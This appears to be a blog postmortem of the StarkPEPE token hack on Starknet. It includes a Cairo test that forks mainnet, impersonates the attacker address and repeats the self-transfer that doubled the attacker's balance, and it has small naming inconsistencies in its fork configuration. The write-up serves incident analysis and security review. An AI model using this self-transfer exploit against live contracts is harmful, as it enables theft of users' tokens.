Cover photo

StarkPEPE Hack Postmortem

On December 29th 2023, StarkPEPE announced on x (Twitter) of a hack on their smart contract leading to significant losses.

https://twitter.com/starkpepecoin/status/1740683260919758854

This is the first hack on Starknet (as far as I know). As Starknet is becoming more popular and as more value is bridged into the L2, then it is expected attackers will also start having a look and unfortunately StarkPEPE were the first to receive the first blow.

Unfortunately, the StarkPEPE contract is not verified on Starknet hence you cannot read the code from the explorer but you can analyze attacker transactions to figure out what the attacker called.

Sample hack transaction below on Voyager shows there was a self-token transfer. We can replicate this transaction in a fork and evaluate the transaction results to know the effected state changes.

https://voyager.online/tx/0x772da42980dbc8ca95b625ed225693ecad6647bbe6698d783769c842be5063b

Forking the Starknet Mainnet

Starknet Foundry, a development framework for Cairo Contracts just like the way Foundry is for Solidity provides means for forking the Starknet Mainnet and safely interact with deployed contracts locally. You can find more from the Starknet Foundry Book

https://foundry-rs.github.io/starknet-foundry/index.html

We first need to configure scarb.toml with an RPC URL and a block number all well documented in the Starknet Foundry book. Our scarb.toml looks like this

[[tool.snforge.fork]] 
name = "stark_fork" 
url = "https://free-rpc.nethermind.io/mainnet-juno/" 
block_id.number = "485251"

We are forking block number 485251 because the hack transaction above was in block 485252 and we want to replicate that hack.

Thereafter, we need to tell our test case to use the created fork stark_fork as

#[test]
#[fork("start_fork")]
fn test_using_first_fork() {
    // ...
}

Setting Up the Hack

We need to define the interface of the functions we would like to call and for this postmortem we would need to check the attacker balance as well as perform self- transfer. Therefore, our interface is defined as:

#[starknet::interface]
trait IERC20<TState> {
    fn balance_of(self: @TState, account: ContractAddress) -> u256;
    fn transfer(ref self: TState, recipient: ContractAddress, amount: u256) -> bool;
   
}

Replicating the Hack

The attacker made a self-transfer and that is what we are going to do. Our test_using_forked_state test function is defined as

fn test_using_forked_state() {
    let attacker: ContractAddress = 0x0770b2ce26f4b3a1c39c95f3e34c2660fa723967b3adbdce769de44f37dd9283.try_into().unwrap();
    let contract_address: ContractAddress = 0x06f15ec4b6ff0b7f7a216c4b2ccdefc96cbf114d6242292ca82971592f62273b.try_into().unwrap();
    let erc20_dispatcher = IERC20Dispatcher {contract_address};
    let balance = erc20_dispatcher.balance_of(attacker);
    balance.print();
    start_prank(CheatTarget::One(contract_address), attacker);
    erc20_dispatcher.transfer(0x0770b2ce26f4b3a1c39c95f3e34c2660fa723967b3adbdce769de44f37dd9283.try_into().unwrap(), balance);
    let new_balance = erc20_dispatcher.balance_of(0x0770b2ce26f4b3a1c39c95f3e34c2660fa723967b3adbdce769de44f37dd9283.try_into().unwrap());
    new_balance.print();
}

In summary,

  1. Setting up the attacker address which was 0x0770b2ce26f4b3a1c39c95f3e34c2660fa723967b3adbdce769de44f37dd9283

  2. we are defining the StarkPEPE contract deployed at address 0x06f15ec4b6ff0b7f7a216c4b2ccdefc96cbf114d6242292ca82971592f62273b

  3. Then checking the balance of the attacker before performing the hack (self token transfer)

  4. Finally, we are checking the balance after performing the self transfer hack.

  5. We are using the print trait to print the balances in our terminal.

Our Terminal results are as follow:

post image

As seen, by performing a self token transfer, the attacker was able to double their token balance.

It is clear, that the StarkPEPE contract had an accounting problem whenever a user performed a self token transfer action. An audit could have probably caught the issue.

Writing secure code is hard and writing secure code on new tech is even harder. That is why a collaborative effort in securing code is imperative especially as more value is bridged into Starknet. If you are a project, it is important for people like me to review your code.

You can find the full postmortem code here:

https://github.com/dic0de/starkpepe_postmortem/tree/main